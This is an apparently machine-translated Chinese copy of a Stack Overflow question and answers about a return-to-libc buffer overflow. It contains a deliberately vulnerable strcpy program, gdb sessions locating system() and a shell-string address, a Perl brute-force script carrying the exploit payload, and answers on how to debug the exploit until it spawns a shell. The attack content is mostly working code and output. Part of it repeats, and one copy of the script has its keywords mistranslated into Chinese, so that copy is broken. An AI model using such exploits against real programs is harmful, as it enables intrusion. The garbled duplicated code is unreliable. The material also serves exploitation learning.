返回到libc-非法指令
我正在处理缓冲区溢出,特别是返回到libc类 我有以下易受攻击的代码:返回到libc-非法指令,c,security,buffer-overflow,exploit,C,Security,Buffer Overflow,Exploit,我正在处理缓冲区溢出,特别是返回到libc类 我有以下易受攻击的代码: #include<stdio.h> #include<string.h> main( int argc, char **argv) { char buffer[80]; getchar(); strcpy(buffer, argv[1]); return 1; } 我找到了系统的地址: $ cat find_system.c int main() { sys
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
我找到了系统的地址
:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
然后我制作了一个perl脚本来自动获取shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
$cat script.pl
#!/usr/bin/perl
对于($i=1;$i<200;$i++){
打印“Perl计数:$i\n”;
系统(“echo 1 |./vuln”“.”A“x$i”“\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf”“);
}
$./script.pl
(...)
Perl计数:69
Perl计数:70
Perl计数:71
Perl计数:72
非法指令
Perl计数:73
分段故障
Perl计数:74
分段故障
(...)
我哪里出错了?为什么我得到的是“非法指令”而不是shell
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
改变“A”的数量以测试各种故障。在findpython-c中“print'A'*73”
(73用于生成上述内容)有助于生成参数
gdb将准确地告诉您崩溃的位置以及崩溃时EIP/RIP的内容。这将引导您找到问题的答案
最有可能的情况是,堆栈上的返回地址中没有一个好的指针,并且执行正在内存中着陆,而内存没有反汇编为有效的指令。我想你离这里很近了。segmentaion故障更有可能是在甚至未分配的内存区域中执行
使用(gdb)x/10i$eip
识别崩溃时eip中的指令。您可以通过更改该命令中的10来改变显示的反汇编的长度
您还需要找出system的参数在堆栈上的位置,以便它在调用约定中的适当位置使system调用它。gdb在这方面也应该能够帮助您(同样,使用x
-x/4w
可能-和ir
)
成功利用该漏洞需要以上两个部分:0xb7eb6680必须位于返回地址中,0xbffff96d必须位于系统要从中读取其第一个参数的任何位置
另一个有用的技巧是:在strcpy函数末尾的ret
上设置一个断点。这是一个方便的地方,可以检查堆栈和注册状态,并确定要做什么。ret
是攻击发生的地方:读取您提供的返回地址,处理器开始在该地址执行,然后您退出,假设您可以使用正确的参数来维持执行,无论您调用什么,等等。程序在此ret
处的状态是成功或失败的关键点,因此它是查看您的输入有什么问题以及您将或不会成功利用该漏洞的原因的最容易的地方
如果我的gdb语法不正确,请原谅我。。。它不是我的主调试器。附加调试器并找出原因(确保向易受攻击的程序中抛出
sleep(30)
,以便给自己足够的时间附加调试器)。很可能是跳转到一个有效的内存地址,但包含数据,而不是指令。谢谢你的回答。你的建议最终让我发现了问题所在。问题是,不知何故,getenv()返回的地址无法访问。我通过从environ
中取出字符串解决了这个问题。
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'